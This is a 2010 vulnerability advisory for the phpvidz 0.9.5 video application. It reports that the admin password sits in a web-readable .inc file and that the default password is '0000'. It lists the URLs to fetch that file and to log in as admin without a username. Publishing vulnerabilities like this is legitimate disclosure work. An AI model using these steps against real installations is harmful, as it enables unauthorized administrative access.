Affecting: phpvidz 0.9.5
Vulnerability: Administrative Password Disclosure
Vendor's Homepage: http://sourceforge.net/projects/phpvidz/
Date: May 15th 2010
Researcher: Michael Brooks


phpvidz does not use a SQL database. Instead it uses a system of flat
files to maintain application state. The administrative password is stored
within the following file and is included during runtime. Because this
file has a .inc extension it is viewable by the attacker.

To exploit this issue visit this url:
http://localhost/phpvidz_0.9.5/includes/init.inc
By default the password is the following constant:
define ('ADMINPASSWORD' , '0000' );
This password can be used to login here (A username is not required):
http://localhost/phpvidz_0.9.5/admin.php
